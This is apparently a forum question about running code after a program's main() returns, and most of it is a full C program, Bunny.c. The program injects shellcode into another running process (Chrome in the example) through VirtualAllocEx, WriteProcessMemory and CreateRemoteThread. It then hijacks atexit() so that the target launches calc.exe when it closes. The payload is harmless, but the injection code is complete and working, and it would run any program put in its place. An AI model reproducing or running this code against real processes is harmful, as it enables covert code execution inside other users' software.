I'm curious if there are methods to run code after the main() program has closed?
So far, I've found atexit()
int atexit( void (*func)(void) );
Registers the function pointed to by func to be called on normal program termination (via exit() or returning from main()). The functions will be called in reverse order they were registered, i.e. the function registered last will be executed first.
For example, Chrome browser with pid 358440 calls the injected atexit().
Closing the browser normally launches the Windows calculator. Perhaps there are less intrusive ways?
Bunny.c
// Windows x86-64: Create a remote thread to run atexit().
// Configuration: MSVC 2019 Debug x64.
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <intrin.h>
typedef uint64_t QWORD;
typedef void (*funcPtr)(void);
typedef void (*AtexitPtr)(funcPtr);
// ------------------------------------------------------------
#define kExitFunctionAddress_offset 16
#define kWinExecAddress_offset 30
#define kAtExitAddress_offset 44
#define kRunAtexit_offset 58
// ------------------------------------------------------------
DWORD WINAPI start_of_function_code(void)
{
// ------------------------------------------------------------
QWORD kExitFunctionAddress = 0xDEADBEEFBAADF00D;
QWORD kWinExecAddress = 0xDEADBEEFBAADF00D;
QWORD kAtExitAddress = 0xDEADBEEFBAADF00D;
QWORD kRunAtexit = 0xDEADBEEFBAADF00D;
// ------------------------------------------------------------
if (kRunAtexit)
{
AtexitPtr atexit_ptr = (AtexitPtr)kAtExitAddress;
atexit_ptr((funcPtr)kExitFunctionAddress);
}
else
{
const char kCalculator[] = { 'c','a','l','c','.','e','x','e','\0' };
((FARPROC(WINAPI*)(LPCSTR, UINT))(kWinExecAddress))(kCalculator, SW_SHOW);
}
return 0;
}
int main(int argc, char* argv[])
{
DWORD targetPID;
HANDLE hTargetProc;
LPTHREAD_START_ROUTINE pfnThreadRoutine;
HANDLE hRemoteThread;
DWORD sizeoffunccode;
QWORD onoff = 0;
BYTE RETURN_OPCODE = 0xC3;
// Get the target PID
if (argc < 2) {
printf("Usage: %s <target PID>\n", argv[0]);
return 1;
}
targetPID = atoi(argv[1]);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPID);
if (hProcess == NULL)
{
printf("[+] Invalid PID %d\n", targetPID);
exit(1);
}
CloseHandle(hProcess);
// Get Function Code Size
BYTE* end_of_function_code = (BYTE*)start_of_function_code;
while (*end_of_function_code++ != RETURN_OPCODE) {};
sizeoffunccode = (DWORD)(end_of_function_code - (BYTE*)start_of_function_code);
printf("[+] Function Size %d bytes\n", sizeoffunccode);
// Get function addresses for Winexec() and atexit()
HMODULE kernel32 = LoadLibrary("Kernel32.dll");
FARPROC winexec = GetProcAddress(kernel32, "WinExec");
printf("[+] Winexec() Address %p\n", winexec);
HMODULE msvcrt = LoadLibrary("msvcrt.dll");
FARPROC atexit = GetProcAddress(msvcrt, "atexit");
printf("[+] atexit() Address %p\n", atexit);
// Write the thread function to the target process
hTargetProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
pfnThreadRoutine = (LPTHREAD_START_ROUTINE)VirtualAllocEx(hTargetProc, NULL, sizeoffunccode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hTargetProc, pfnThreadRoutine, (BYTE*)start_of_function_code, sizeoffunccode, NULL);
WriteProcessMemory(hTargetProc, (BYTE*)pfnThreadRoutine + kExitFunctionAddress_offset, &pfnThreadRoutine, sizeof(pfnThreadRoutine), NULL);
WriteProcessMemory(hTargetProc, (BYTE*)pfnThreadRoutine + kWinExecAddress_offset, &winexec, sizeof(winexec), NULL);
WriteProcessMemory(hTargetProc, (BYTE*)pfnThreadRoutine + kAtExitAddress_offset, &atexit, sizeof(atexit), NULL);
printf("[+] Function Address %p (PID: %d)\n", pfnThreadRoutine, targetPID);
// Create the remote thread and call atexit()
hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, pfnThreadRoutine, NULL, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
printf("[+] atexit() Executed\n");
// Toggle condition so WinExec() is called upon process exit
WriteProcessMemory(hTargetProc, (BYTE*)pfnThreadRoutine + kRunAtexit_offset, &onoff, sizeof(onoff), NULL);
printf("[+] WinExec() Primed\n");
// Cleanup
CloseHandle(hTargetProc);
CloseHandle(hRemoteThread);
printf("[+] Done.\n");
return 0;
}